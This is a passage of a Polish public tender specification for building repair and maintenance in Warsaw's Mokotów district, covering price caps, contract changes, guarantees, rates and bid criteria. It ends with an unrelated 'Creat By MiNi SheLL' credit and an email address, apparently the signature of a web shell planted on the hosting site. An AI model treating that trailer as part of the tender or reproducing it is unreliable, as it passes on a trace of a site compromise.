Wykonawcę faktur. Ceny materiałów na podstawie przedłożonych przez Wykonawcę faktur nie mogą być wyższe niż 120% minimalnej ceny i jednocześnie nie wyższe niż najniższe ze średnich cen dla każdego asortymentu podawanych jako ceny materiałów z notowań w publikacjach SEKOCENBUD, IMB, IMI, IME, obowiązujące dla kwartału, w którym będą zlecane roboty. W przypadkach gdy dany materiał nie występuje w w/w publikacjach lub występuje jako cena producencka, dopuszcza się cenę na dany materiał po jej wcześniejszym uzgodnieniu z inspektorem nadzoru i uzyskaniu akceptacji Kierownika DOM w formie pisemnej. Uzyskanie przedmiotowej akceptacji ceny w formie pisemnej musi nastąpić przed zakupem i wbudowaniem niewystępującego w publikacjach materiału. Przed podjęciem decyzji o akceptacji ceny inspektor nadzoru oraz Kierownik DOM zobowiązani są do rozpoznania rynku i przyjęcia najkorzystniejszej oferty. Wyklucza się przyjmowanie cen w oparciu o dane katalogowe producentów.8.2. Ceny pracy sprzętu - w przypadku gdy dany sprzęt nie występuje kosztorysie ofertowym stanowiącym załącznik nr 1 do oferty Wykonawcy - rozliczane będą na podstawie przedłożonych przez Wykonawcę faktur wystawionych przez usługodawców lecz nie wyższe niż średnie ceny publikowane przez Sekocenbud ,,IRS" oraz zawarte w ,, informacji o cenach czynników produkcji RMS" w kwartale, w którym roboty były zlecane. W przypadkach gdy dany sprzęt nie występuje w w/w publikacjach, dopuszcza się cenę na dany sprzęt po jej wcześniejszym uzgodnieniu z inspektorem nadzoru i uzyskaniu akceptacji Kierownika DOM w formie pisemnej. Uzyskanie przedmiotowej akceptacji ceny w formie pisemnej musi nastąpić przed wynajęciem sprzętu niewystępującego w publikacjach materiału. Przed podjęciem decyzji o akceptacji ceny inspektor nadzoru oraz kierownik zobowiązani są do rozpoznania rynku i przyjęcia najkorzystniejszej oferty.8.3. Roboty polegające na usuwaniu awarii, o których mowa w pkt. 3.1.2. (3.1.2.2.) SIWZ rozliczane będą w sposób opisany powyżej z tym, że nie będzie wystawione wyprzedzająco zlecenie z protokołem typowania robot, a niezwłocznie po powzięciu wiadomości przez DOM o usunięciu awarii tworzony będzie protokół konieczności potwierdzający wykonanie prac usuwających awarię i zabezpieczenie obiektu. Zamawiający ma prawo żądać do wglądu faktur za materiały i sprzęt użyty przy wykonywaniu przedmiotu zamówienia. 8.4. Roboty polegające na wykonaniu drobnych napraw remontowych i konserwacyjnych oraz usunięciu drobnych awarii, o których mowa w pkt. 3.1.2. , 3.1.3. SIWZ zawierających nie więcej niż cztery czynności ( za czynność należy rozumieć pozycje kosztorysowe) oraz wycenionych na kwotę nie wyższą niż 250 zł netto (np. wymiana zamka, zabezpieczenie okien i drzwi, asysta przy eksmisji itp.) rozliczane będą w sposób opisany powyżej z tym, że wykonawca będzie miał prawo doliczenia do nich kwoty dodatku (D) za drobne naprawy uwzględniającej wszelkie koszty organizacji robót m. innymi dojścia, zakupu materiałów, gotowości pracowników, której wartość poda w ofercie. UWAGA: Max. wartość dodatku za drobne naprawy (D) bez VAT nie może przekroczyć kwoty 100,00 zł. netto (bez VAT).9. Odśnieżanie dachów oraz zdejmowanie sopli lodowych i czyszczenie rynien i rewizji rur deszczowych z zanieczyszczeń, rozliczane będzie w sposób następujący:9.1.Odśnieżanie dachów i zdejmowanie sopli lodowych w zakresie pracy ludzi rozliczane będzie w oparciu o Normy Zakładowe ZGN stanowiące Rozdział VII SIWZ i będące jednocześnie załącznikiem nr 8 do umowy według stawek podanych przez Wykonawcę w formularzu oferty częściowej, a w zakresie dotyczącym sprzętu w oparciu o rzeczywisty czas pracy sprzętu każdorazowo potwierdzony przez inspektora nadzoru.9.2.Czyszczenie rynien i rewizji rur deszczowych z zanieczyszczeń rozliczane będzie w oparciu o rzeczywisty czas pracy ludzi i sprzętu, każdorazowo potwierdzony przez inspektora nadzoru, według stawek podanych przez Wykonawcę w formularzu oferty częściowej. 9.3.Ceny pracy sprzętu przy zdejmowaniu sopli lodowych i czyszczeniu rynien i rewizji rur deszczowych z zanieczyszczeń rozliczane będą na podstawie przedłożonych przez Wykonawcę faktur wystawionych przez usługodawców, lecz nie wyższe niż średnie ceny publikowane przez Sekocenbud ,,IRS" oraz zawarte w ,, informacji o cenach czynników produkcji RMS" w kwartale, w którym usługi będą zlecane. W przypadkach gdy dany sprzęt nie występuje w w/w publikacjach, dopuszcza się cenę na dany sprzęt po jej wcześniejszym uzgodnieniu z inspektorem nadzoru i uzyskaniu akceptacji Kierownika DOM w formie pisemnej. Uzyskanie przedmiotowej akceptacji ceny w formie pisemnej musi nastąpić przed wynajęciem sprzętu niewystępującego w publikacjach materiału. Przed podjęciem decyzji o akceptacji ceny inspektor nadzoru oraz kierownik zobowiązani są do rozpoznania rynku i przyjęcia najkorzystniejszej oferty. Za odśnieżanie dachów oraz zdejmowanie sopli lodowych i czyszczenie rynien i rewizji rur deszczowych z zanieczyszczeń Wykonawca będzie wystawiał odrębne faktury.10. Ewentualne usuwanie zanieczyszczeń z przewodów dymowych, spalinowych i wentylacyjnych, na zlecenie z DOM, rozliczane będzie w oparciu o podaną w formularzu oferty częściowej stawką roboczogodziny zgodnie z uwzględnieniem rzeczywistego czasu pracy ludzi. Za prace wymienione w zdaniu poprzednim Wykonawca będzie wystawiał odrębne faktury.11. Przeprowadzanie w budynkach gminnych zarządzanych i administrowanych przez ZGN w Dzielnicy Mokotów, których wykazy budynków zawiera Rozdział IV SIWZ, okresowych kontroli rozliczane będzie na podstawie cen zaoferowanych przez Wykonawcę w wykazie budynków gminnych zarządzanych i administrowanych przez ZGN, stanowiącego Rozdział IV A siwz i ilości skontrolowanych budynków.12. Zamawiający zastrzega, że:12.1. na wykonywanie czynności o których mowa w pkt. 3.1.1. , siwz przeznaczy kwotę z podatkiem VAT wynikającą z przedstawionego przez wybranego Wykonawcę kosztorysu ofertowego, sporządzonego na postawie przedmiaru robót stanowiącego Rozdział VI SIWZ,12.2. na wykonywanie czynności o których mowa w pkt. 3.1.2.; 3.1.2.2., 3.1.3. , 3.1.4. i 3.1.5. siwz przeznacza kwoty z podatkiem VAT nie większe niż:12.2.1. dla części I: DOM Służewiec - kwota 24.000,00 zł z VAT, 12.2.2. dla części II: DOM Wierzbno - kwota 26.204,82 zł z VAT12.3. na wykonywanie czynności o których mowa w pkt. 3.1.2.1. , siwz przeznaczy kwotę z podatkiem VAT wynikającą z przedstawionego przez wybranego Wykonawcę wykazu budynków wraz z cenami za kontrolę.13.Zamawiający nie przewiduje udzielania zaliczek na poczet wykonania zamówienia3.3. Wykazy budynków gminnych oraz budynków Wspólnot Mieszkaniowych z lokalami gminnymi i budynków/lokali oświaty w których realizowane będą zamówienia stanowią Rozdział IV SIWZ. Wykazy budynków, o których mowa wyżej mogą ulec zmianie w zakresie wskazanych adresów budynków poprzez jednostronną czynność Zamawiającego. 3.4. Szczegółowy zakres obowiązków Wykonawcy zawarty jest w § 1, 3, 4 i 5 Istotnych postanowień umowy, które stanowią Rozdział III SIWZ.3.5.1. Czynności, o których mowa w pkt. 3.1. niniejszej specyfikacji, mają być wykonywane zgodnie z: 3.5.1.1. Dokumentacją techniczną w formie ,,ramowego" przedmiaru robót, która stanowi Rozdział VI specyfikacji istotnych warunków zamówienia, specyfikacją techniczną wykonania i odbioru robót - stanowiącą Rozdział V SIWZ,.3.5.1.2.	warunkami wynikającymi z przepisów technicznych i czynnościami wymienionymi w art. 22 Ustawy z dnia 07.07.1994 r. Prawo budowlane (tekst jednolity Dz. U. z 2018 r. poz.1202, ze zmianami) i jej przepisów wykonawczych,3.5.1.3. wymaganiami wynikającymi z aktualnych Polskich lub Europejskich Norm i aprobat technicznych, 3.5.1.4. zasadami rzetelnej wiedzy technicznej i sztuki budowlanej, 3.5.1.5. warunkami wynikającymi z Istotnych postanowień umowy stanowiących Rozdział III specyfikacji istotnych warunków zamówienia.oraz3.5.1.6. w sposób zapewniający kulturalną obsługę najemcy.3.5.2. Materiały i produkty, które będą używane do realizacji zamówienia, powinny odpowiadać wymaganiom ujętym w art. 10 ustawy Prawo budowlane i w Ustawie o wyrobach budowlanych Dz. U. z 2019 r. poz.266) i posiadać certyfikat na znak bezpieczeństwa w odniesieniu do wyrobów podlegających tej certyfikacji. Dla pozostałych materiałów, z wyłączeniem wskazanych w rozporządzeniu MSWiA z dnia 24 lipca 1998 r. w sprawie określenia wykazu wyrobów nie mającego istotnego wpływu na spełnienie wymagań podstawowych oraz wyrobów wytwarzanych i stosowanych według uznanych zasad sztuki budowlanej (Dz. U. z 1998r., Nr 99, poz.637), posiadać deklarację zgodności z dokumentem odniesienia jakim jest Polska Norma, a w przypadku jej braku krajową aprobatą techniczną (AT) lub europejską aprobatą techniczną (ETA). Wykonawca na każde żądanie Zamawiającego zobowiązany będzie okazać w stosunku do wskazanych materiałów certyfikaty i deklaracje dopuszczające wyrób do obrotu i stosowania w budownictwie. Ponadto podczas wykonywania zamówienia Wykonawca na każde żądanie Zamawiającego zobowiązany będzie okazać w stosunku do wskazanych materiałów certyfikat na znak bezpieczeństwa, deklaracje zgodności lub certyfikat zgodności z Polską Normą lub z aktualną aprobatą techniczną. 3.6. Zmiany umowy:3.6.1. Zamawiający dopuszcza możliwość wprowadzenia zmian postanowień umowy, w stosunku do treści oferty, na podstawie, której dokonano wyboru Wykonawcy w razie:3.6.1.1.	dokonywania zmian przewidzianych w SIWZ w postaci jednoznacznych postanowień umownych, określających zakres zmian, w szczególności możliwość zmiany terminu wykonania, wynagrodzenia Wykonawcy i charakteru oraz warunków ich wprowadzenia i tak w przypadku:3.6.1.1.1.	zmiany regulacji prawnych wprowadzonych w życie po dacie zawarcia umowy i mających wpływ na treść umowy wraz ze skutkami takiej zmiany regulacji prawnych,3.6.1.1.2. powierzenia Podwykonawcy wykonania całości bądź części Przedmiotu zamówienia w zakresie i na warunkach wynikających z umowy między Wykonawcą a Podwykonawcą zaakceptowanej przez Zamawiającego lub zmiany Podwykonawcy w sytuacji, gdy z przyczyn, których nie można było przewidzieć w chwili zawarcia z nim umowy dotyczącej wykonywania Przedmiotu zamówienia, koniecznym będzie dla prawidłowego jego wykonania posłużenie się przez Wykonawcę nowym Podwykonawcą, który będzie realizował część lub cały zakres robót powierzony uprzednio innemu Podwykonawcy. Jeżeli zmiana albo rezygnacja z Podwykonawcy dotyczy podmiotu, na którego zasoby Wykonawca powoływał się, na zasadach określonych w art. 22a ustawy, w celu wykazania spełniania warunków udziału w postępowaniu, o których mowa w art. 22 a ust. 4 ustawy, Wykonawca jest obowiązany wykazać Zamawiającemu, iż proponowany inny Podwykonawca lub Wykonawca samodzielnie spełnia je w stopniu nie mniejszym niż wymagany w trakcie postępowania o udzielenie zamówienia i nie podlega wykluczeniu z postępowania;3.6.1.1.3. zmiany zakresu części Przedmiotu zamówienia powierzonego Podwykonawcom wynikającej z aneksów do umów zawartych przez Wykonawcę z Podwykonawcami i zaakceptowanych przez Zamawiającego w przypadku wykonywania Przedmiotu zamówienia z udziałem Podwykonawców.3.6.1.1.4.	zmiany osób uczestniczących w realizacji przedmiotu zamówienia, przy czym warunkiem dokonania takiej zamiany jest posiadanie przez nowo wskazane osoby wymaganych uprawnień, kwalifikacji i doświadczenia zgodnego z warunkami określonymi w tym zakresie w SIWZ;3.6.1.2. zaistnienia konieczności wykonania przez Wykonawcę robót dodatkowych, nieobjętych zamówieniem podstawowym (przedmiotem zamówienia), o ile stały się niezbędne, a ponadto spełnione są łącznie następujące warunki:3.6.1.2.1.zmiana Wykonawcy nie może zostać dokonana z powodów ekonomicznych lub technicznych, w szczególności dotyczących zamienności lub interoperacyjności sprzętu, robót lub instalacji zamówionych w ramach zamówienia podstawowego (przedmiotu zamówienia);3.6.1.2.2. zmiana Wykonawcy spowodowałaby istotną niedogodność lub znaczne zwiększenie kosztów dla Zamawiającego;3.6.1.2.3. wartość każdej kolejnej zmiany umowy nie przekroczy 50% wartości umowy,3.6.1.3. gdy zmiana umowy spowodowana jest okolicznościami, których Zamawiający działając z należytą starannością nie mógł przewidzieć i jednocześnie ich wartość nie przekracza 50% wartości przedmiotu zamówienia. 3.6.1.4.	gdy Wykonawcę ma zastąpić inny podmiot:3.6.1.4.1. na podstawie postanowień umownych, o których mowa w pkt. 3.6.1.1. SIWZ, 3.6.1.4.2. w wyniku połączenia, podziału, przekształcenia, upadłości, restrukturyzacji lub nabycia dotychczasowego Wykonawcy lub jego przedsiębiorstwa, o ile nowy podmiot spełnia warunki udziału w postępowaniu, nie zachodzą wobec niego podstawy wykluczenia oraz nie pociąga to za sobą innych istotnych zmian umowy;3.6.1.4.3. w wyniku przejęcia przez Zamawiającego zobowiązań Wykonawcy względem jego podwykonawców, o ile Wykonawca wykonuje przedmiot zamówienia z udziałem podwykonawców3.6.1.5.	zmian - niezależnie od ich wartości, jeżeli nie są one istotne w rozumieniu art. 144 ust. 1e ustawy;3.6.1.6. łączna wartość zmian jest mniejsza niż kwoty określone w przepisach wydanych na podstawie art. 11 ust. 8 ustawy i jest mniejsza niż 10 % wartości przedmiotu zamówienia; 3.6.1.7.	zmiany wysokości wynagrodzenia w przypadku:3.6.1.7.1. zmiany stawki podatku od towarów i usług;3.6.1.7.2. zmiany wysokości minimalnego wynagrodzenia za pracę albo wysokości minimalnej stawki godzinowej, ustalonych na podstawie przepisów ustawy z dnia 10 października 2002 r. o minimalnym wynagrodzeniu o pracę (tj. Dz. U. z 2017 r. poz. 847);3.6.1.7.3. zmiany zasad podlegania ubezpieczeniom społecznym lub ubezpieczeniu zdrowotnemu lub wysokości stawki składki na ubezpieczenia społeczne lub zdrowotne, na zasadach i w sposób opisany w § 15 istotnych postanowień umowy -Rozdział III SIWZ3.6.2. Z wyjątkiem zamian określonych w § 1 ust. 3, 4 i 5 4 ust. 4, 10 i 11 oraz w § 8 ust. 5 istotnych postanowień umowy -Rozdział III SIWZ, wszelkie inne zmiany umowy zawartej w wyniku rozstrzygnięcia przedmiotowego postępowania wymagają sporządzenia aneksu do umowy w formie pisemnej pod rygorem nieważności.3.6.3. W przypadkach, o których mowa w pkt. 3.6.1.2., 3.6.1.3. oraz 3.6.1.4. ppkt. 3.6.1.4.2. SIWZ Zamawiający nie wprowadzi kolejnych zmian umowy w celu uniknięcia stosowania przepisów ustawy Prawo zamówień publicznych.3.6.4. W przypadkach, o których mowa w pkt. 3.6.1.1., 3.6.1.3. i 3.6.1.6. SIWZ zmiany postanowień umowy nie mogą prowadzić do zmiany charakteru umowy.3.6.5. Wynagrodzenie dla Wykonawcy za wykonanie robót mieszczących się w zakresie, o którym mowa w pkt. 3.6.1.2, 3.6.1.3. i 3.6.1.6. SIWZ obliczone będzie wg zasad przyjętych w niniejszej umowie i kwot zawartych w ofercie. 3.6.6. Zamawiający zastrzega sobie możliwość zmiany wykazu budynków stanowiących Rozdział IV siwz.3.6.7. Zamawiający zastrzega sobie możliwość zmiany lub uzupełnienia o nowe pozycje Norm Zakładowych Zakładu Gospodarowania Nieruchomościami w Dzielnicy Mokotów m. st. Warszawy, które stanowią Rozdział VII siwz.3.6.8. Na etapie realizacji umowy Zamawiający zastrzega sobie możliwość dokonania zmiany przedmiaru robót stanowiącego Rozdział VI SIWZ, w zakresie ilości robót i ich rodzajów wyszczególnionych w poszczególnych pozycjach, co skutkować będzie zmianą kosztorysu zamiennego/powykonawczego Wykonawcy , z zastrzeżeniem, że zmiana ta nie może prowadzić do zwiększenia zaoferowanej przez Wykonawcę w kosztorysie ofertowym ceny.3.7.	Wykonawca zobowiązany będzie do: 3.7.1. posiadania opłaconej polisy lub innego dokumentu ubezpieczenia na kwotę nie niższą niż równowartość 100.000 złotych polskich, potwierdzającego, że jest ubezpieczony od odpowiedzialności cywilnej w zakresie prowadzonej działalności gospodarczej, w tym w zakresie przedmiotu zamówienia; 3.7.2. wniesienia zabezpieczenia należytego wykonania umowy na zasadach określonych w pkt. 22 SIWZ; 3.7.3. udzielenia gwarancji na wykonane przez siebie roboty na czas minimum 36 miesięcy od daty odbioru. Warunki gwarancji zawierają Istotne postanowienia umowy stanowiące Rozdział III SIWZ - wydłużenie okresu udzielonej gwarancji powyżej 36 miesięcy stanowi kryterium oceny ofert i punktowane będzie w sposób opisany w pkt. 19 SIWZ; 3.7.4. przedłożenia Zamawiającemu do zatwierdzenia harmonogramu kontroli (przeglądów), o których mowa w pkt. 3.1.1. SIWZ, w ciągu 7 dni kalendarzowych po podpisaniu umowy;3.7.5. zgłaszania się w okresie obowiązywania umowy, zawartej w wyniku rozstrzygnięcia niniejszego postępowania, w dni robocze w godzinach 7-15 niezwłocznie po otrzymaniu telefonicznego wezwania lub po wcześniejszym kontakcie wykonawcy z Zamawiającym w celu pobierania zleceń;. 3.7.6. pełnienia całodobowo usług pogotowia i dyżuru pod numerem telefonu, na który będą mogły być całodobowo zgłaszane przestoje i usterki budowlane w trakcie realizacji umowy zawartej w wyniku rozstrzygnięcia niniejszego postępowania; Numer telefonu będzie podany na piśmie dla danego DOM przez Wykonawcę w dacie podpisania umowy. 3.7.7. podpisania umowy na wykonywanie robót mających na celu utrzymanie sprawności technicznej elementów budynków zgodnych w zakresie określonym w pkt od 3.1.1. do 3.1.10. SIWZ na warunkach określonych w złożonej i przyjętej ofercie w budynkach Wspólnot Mieszkaniowych (które wyrażą na to zgodę) wyszczególnionych w Rozdziale IV B SIWZ: 3.7.7.1. warunki gwarancji i wykonania zamówienia w budynkach Wspólnot Mieszkaniowych będą zgodne z warunkami określonymi w niniejszej specyfikacji oraz w istotnych postanowieniach umowy, stanowiących Rozdział III SIWZ, 3.7.7.2. Wykonawca zobowiązany będzie do wystawienia faktur za roboty wykonane w budynkach Wspólnot Mieszkaniowych, o których mowa w pkt. 3.7.7. SIWZ, podmiotom, na rzecz których roboty będzie wykonywał, 3.8. Zaoferowana przez Wykonawcę we - WZORZE FORMULARZA OFERTY CZĘŚCIOWEJ - dla robót nie uwzględnionych w kosztorysie ofertowym Wykonawcy - maksymalna stawka roboczogodziny kosztorysowej nie może przekroczyć średniej warszawskiej określonej w wyd. "SEKOCENBUD" BCR z II kwartału 2019 r. dla robót budowlanych: R netto = 21,93 zł. i R brutto = 38,26 zł. Stawka roboczogodziny kosztorysowej brutto obejmuje wartość stawki roboczogodziny kosztorysowej netto powiększonej o narzut kosztów pośrednich i zysk kalkulacyjny [Rbrutto = (Rnetto + Kp + Z)]. Wykonawca musi wpisać oferowane stawki roboczogodziny kosztorysowej Rnetto i Rbrutto, Kp i Z w formularzu oferty, sporządzonym wg wzoru formularza oferty częściowej. 3.9.	Zaoferowany przez Wykonawcę we - WZORZE FORMULARZA OFERTY CZĘŚCIOWEJ - wskaźnik narzutu kosztów zakupu materiałów (Wkz) - dla robót nie uwzględnionych w kosztorysie ofertowym Wykonawcy - nie może być wyższy niż średni warszawski określony w wyd. "SEKOCENBUD" BCR z II kwartału 2019 r. tj. dla robót budowlanych i wynoszący Wkz = 4,4 %. Wykonawca musi wpisać oferowane Wkz w formularzu oferty, sporządzonym wg wzoru formularza oferty częściowej.3.10.	Zaoferowana przez Wykonawcę cena (bez VAT) za dokonywane co 12 miesięcy całoroczne przeglądy każdego z budynków gminnych w 2020 r. zarządzanych i administrowanych przez ZGN w przeliczeniu na 1m3 kubatury budynku za jeden przegląd nie może przekraczać 0,10 złotego (bez VAT), przy czym cena za jeden przegląd każdego pojedynczego budynku nie może być niższa niż 1 zł ( bez VAT). Wykonawca musi wpisać ceny w kol. 11 wykazów budynków gminnych, zarządzanych i administrowanych przez ZGN, stanowiących Rozdział IV A SIWZ, nie wyższe niż 0,10 zł/m3 (bez VAT) kubatury budynku za przegląd każdego budynku gminnego zarządzanych i administrowanych przez ZGN, przy czym cena za jeden przegląd każdego pojedynczego ww. budynku nie może być niższa niż 1zł ( bez VAT). Suma wszystkich cen wymienionych w kolumnie 11 pod nazwą ,,Cena za przegląd każdego budynku wyszczególnionego w kol. 2 wg terminów wyszczególnionych w kol. 12" musi być umieszczona we wzorze formularza oferty częściowej w pkt. 1 c jako ,,suma cen (bez VAT) za dokonywane co 12 miesięcy całoroczne przeglądy, dla wszystkich budynków gminnych zarządzanych i administrowanych przez ZGN w 2020 r. w DOM (dla którego składana jest oferta częściowa). Ponadto w w/w pkt. 1 c należy wpisać kwotę podatku VAT oraz sumę cen (z VAT) za dokonywane co 12 miesięcy całoroczne przeglądy [P] budynków gminnych w 2020 r. zarządzanych i administrowanych przez ZGN w DOM, dla którego składana jest oferta częściowa. W 2019 r nie będzie przeglądów.3.11.	Dla realizacji przedmiotu zamówienia, na czas obowiązywania umowy, która zostanie zawarta w wyniku rozstrzygnięcia przedmiotowego postępowania, istnieje możliwość wynajęcia od zamawiającego pomieszczeń na zaplecze techniczne po stawkach strefowych na zasadach przyjętych przez m. st. Warszawę ZGN w Dzielnicy Mokotów. 3.11.1. Część 1: brak pomieszczeń.3.11.2. Część 2 : brak pomieszczeń.3.11.3. część 3 - brak pomieszczeń 3.11.4. Część 4 : dla DOM ,,Madalińskiego" : ul. Wiśniowej 35 wiata w podwórku o pow. 47,26 m2, wyposażone w energię elektryczną,3.11.5. Część 5 : dla DOM ,,Konduktorska": pomieszczenia wyposażone w instalację elektryczną przy ul. Konduktorskiej 12, - wiata blaszana nr 1 o pow. 24,89 m2, - wiata blaszana nr 2 o pow. 19,89 m2, - wiata blaszana nr 5 o pow. 11,04 m2, - wiata blaszana nr 6 o pow. 15,45 m2 - wiata blaszana nr 7 o pow. 15,40 m2,- pomieszczenie piwniczne wyposażone w energię elektryczna o pow. 11,70 m2. 3.11.6. Część 6 : dla DOM ,,Polkowska":- pomieszczenie gospodarcze w piwnicy budynku biurowego DOM, pow. 15,68 m2, wyposażone w co i elektryczność, - wiata na podwórku wyposażona w elektryczność o pow. 100,28 m2 , - garaż na podwórku wyposażony w elektryczność o powierzchni 30,00 m2,możliwość korzystania z w.c. ogólnego w budynku biurowym DOM. Stawki czynszu dla wszystkich w/w lokali będą naliczone - wg obowiązujących w ZGN Mokotów na dzień podpisania umowy. 3.12. Wykonawca musi mieć zatrudnione na podstawie umowy o pracę, w rozumieniu przepisów ustawy z dnia 26 czerwca 1974 r. -Kodeks pracy (Dz. U. z 2019 r., poz. 9171040 z późn. zm.). osoby wykonujące wszystkie czynności będące przedmiotem zamówienia dotyczące wykonywania wszystkich robót remontowych zapewniających stałe utrzymanie w ruchu budynków oraz robót mających na celu utrzymanie sprawności technicznej elementów budynków, wyszczególnione w opisie przedmiotu zamówienia w pkt. 3.1. SIWZ, z wyjątkiem przypadków prawem wyłączonych. Obowiązek zatrudnienia na podstawie w/w umowy o pracę nie dotyczy osób, które będą pełniły funkcję kierownika/kierowników robót objętych zamówieniem oraz będą wykonywały przeglądy roczne budynków, które mogą być zatrudnione przez Wykonawcę w ramach stosunków prawnych dopuszczonych przez prawo. Obowiązek, o którym mowa w zdaniu pierwszym, dotyczy również podwykonawców realizujących zamówienie, na zasoby których Wykonawca się powołuje oraz innych podmiotów uczestniczących w wykonaniu zamówienia, na zasoby których Wykonawca się powołuje.3.13. W odniesieniu do wykonywania robót budowlanych wymagających ustanowienia kierownika robót oraz do wykonywaniu przeglądów budowlanych rocznych objętych zamówieniem Wykonawca zobowiązany jest zapewnić do nadzorowania robót budowlanych i wykonania przeglądów osobę posiadającą uprawnienia budowlane wymagane ustawą prawo budowlane, - do kierowania robotami, a w przypadku przeglądów dodatkowo do kontrolowania i oceny stanu technicznego elementów konstrukcyjnych w specjalności konstrukcyjno-budowlanej w zakresie niezbędnym do realizacji przedmiotu zamówienia lub odpowiedni dokument stwierdzający przygotowanie zawodowe do wykonywania powyższych czynności oraz wpis na listę członków właściwej izby samorządu zawodowego. 3.14 . Zamawiający przewiduje możliwość udzielenia zamówień podobnych, o których mowa w art. 67 ust. 1 pkt. 6 ustawy w przypadku włączenia do robót wchodzących w zakres przedmiotu zamówienia budynków nowo oddanych do administrowania ZGN lub nie ujętych w zestawieniu stanowiącym załącznik Rozdział IVA, IVB, IVC SIWZ - Wykaz budynków, itp. oraz w przypadku powtórzenia podobnych robót, w budynkach o których mowa w zdaniu poprzednim oraz w przypadku konieczności wykonania zamówień podobnych we wszystkich budynkach objętych zamówieniem, w okresie 3 lat od udzielenia zamówienia podstawowego. Wartość w/w powtórzonych podobnych robót nie przekroczy 50 % wartości zamówienia podstawowego tj. kwoty 510.000,00 z VAT. Zamawiający dokonywać będzie podziału w/w kwoty pomiędzy działy obsługi mieszkańców (DOM) wg. potrzeb i posiadanych środków.Warunki udzielenia zamówień podobnych: Wykonawca będzie wykonywał zamówienie należycie i bez zbędnej zwłoki, w standardach nie gorszych niż w umowie podstawowej, na warunkach umowy podstawowej. Ceny będą podlegały negocjacji.4.Każda cena (stawka) z VAT podana w ofercie uwzględniać musi podatek VAT wg stawki obowiązującej w dacie składania oferty. <br/><b> 2) Wspólny Słownik Zamówień(CPV): </b>45000000-7, <br/><br/><b> 3) Wartość części zamówienia(jeżeli zamawiający podaje informacje o wartości zamówienia):</b><br/>Wartość bez VAT: 184138,61<br/>Waluta: <br/>zł.<br/><b> 4) Czas trwania lub termin wykonania: </b><br/>okres w miesiącach: <br/>okres w dniach: <br/>data rozpoczęcia: 2019-12-01<br/>data zakończenia: 2020-11-30<br/><b> 5) Kryteria oceny ofert: </b><br/><TABLE style="border: 1px solid black;border-collapse: collapse;"><tr><td style="border: 1px solid black;border-collapse: collapse;">Kryterium</td><td style="border: 1px solid black;border-collapse: collapse;">Znaczenie</td></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">cena (z VAT) za wykonanie zamówienia w/g kosztorysu Ofertowego Wykonawcy sporządzonego na postawie ramowego przedmiaru robót </td><td style="border: 1px solid black;border-collapse: collapse;">30,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">cena- stawka roboczogodziny kosztorysowej Rbrutto = [(Rnetto+Kp+Z)] z VAT </td><td style="border: 1px solid black;border-collapse: collapse;">15,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">cena - dodatek za drobne naprawy (D) z VAT </td><td style="border: 1px solid black;border-collapse: collapse;">15,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">wydłużenie okresu udzielonej gwarancji powyżej 36 miesięcy </td><td style="border: 1px solid black;border-collapse: collapse;">20,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">czas przystąpienia do usunięcia zgłoszonej awarii </td><td style="border: 1px solid black;border-collapse: collapse;">20,00</TD></tr></TABLE><br/><b>6) INFORMACJE DODATKOWE:</b><br/><br/><br/> </div> <br /> <br /> </div> <br /> <br /> <table> <tr> <td> </td> </tr> </table> </div> <script type="text/javascript">//<![CDATA[//]]></script>

Creat By MiNi SheLL
Email: jattceo@gmail.com